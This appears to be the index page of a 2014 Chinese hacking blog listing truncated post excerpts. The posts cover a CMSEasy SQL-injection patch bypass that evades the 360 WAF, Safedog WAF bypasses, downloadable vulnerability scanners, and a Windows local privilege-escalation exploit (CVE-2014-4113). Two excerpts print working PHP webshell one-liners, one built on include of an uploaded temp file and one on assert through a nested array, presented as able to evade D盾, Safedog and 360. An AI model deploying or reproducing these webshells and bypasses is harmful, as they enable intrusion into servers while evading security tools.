御龙的博客

cmseasy 最新版补丁绕过sql注入（绕过360waf）

admin 发布于 2014-11-13 12:17

首先还是老地方：archive_act.php(611行） function respond_action() { include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; $payclassname = front::$g...

标签: 注入 cmseasy

评论(0) 浏览(14039)

Web漏洞一键提取工具

admin 发布于 2014-11-09 01:24

WEB漏洞一键提取工具分享给大家 MScan.rar 解压密码：nmap.cc

标签: 扫描器 web漏洞

评论(2) 浏览(13917)

轻量级网站漏洞批量扫描器

admin 发布于 2014-11-09 01:22

轻量级网站漏洞批量扫描器可以配合手工或者软件批量整理出网站地址然后导入这软件里面自动识别漏洞也是整理网盘发现的它分享给大家 web漏洞扫描器v1.0.rar 解压密码：nmap.cc

标签: 批量扫描器

评论(1) 浏览(16814)

另类PHP一句话小马

admin 发布于 2014-11-08 10:25

利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候，会在服务器上生成一个临时文件，而$_FILES这个变量里面正好保存了这个文件的路径，所以可以直接include进来。 <?php @include($_FILES['u']['tmp_name']); <?php @include($_FILES['u...

标签: php 一句话木马小马

评论(4) 浏览(17111)

我们好像在哪见过

admin 发布于 2014-10-23 06:52

[music url=http://bcs.duapp.com/yulong/我们好像在哪见过.mp3 w=300 h=30 auto=1]

标签: 歌曲

评论(0) 浏览(13662)

安全狗最新版绕过测试 2014-10-22

admin 发布于 2014-10-22 08:30

安全狗最新版绕过测试 2014-10-22 原文链接：http://phpsec.sinaapp.com/?p=270 测试版本：IIS版V3.3.09476（2014-09-24）、Apache V3.1.08512(2014-05-29)，均为今天能下到的最新版。用于绕过的核心字符：%0A，某些特殊场合需要...

标签: 安全狗注入

评论(0) 浏览(12869)

Windows本地提权(CVE-2014-4113)32位+64位

admin 发布于 2014-10-20 11:40

windows提权cve2014-4113点击下载解压码:nmap.cc 亲测xp 32、win2003（32 and 64）、win2008（32 and 64）

标签: 提权 windows本地提权 2014-4113

评论(1) 浏览(11982)

php一句话木马过D盾，安全狗，360

admin 发布于 2014-10-19 11:47

D盾，他不认识二维数组，所以就很轻松绕过了。对了还有360哦~ 测试了下安全狗，也查不出来，，。 <?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['whirlwind']); //密码whirlwi...

标签: 安全狗 php 一句话 D盾

评论(1) 浏览(11613)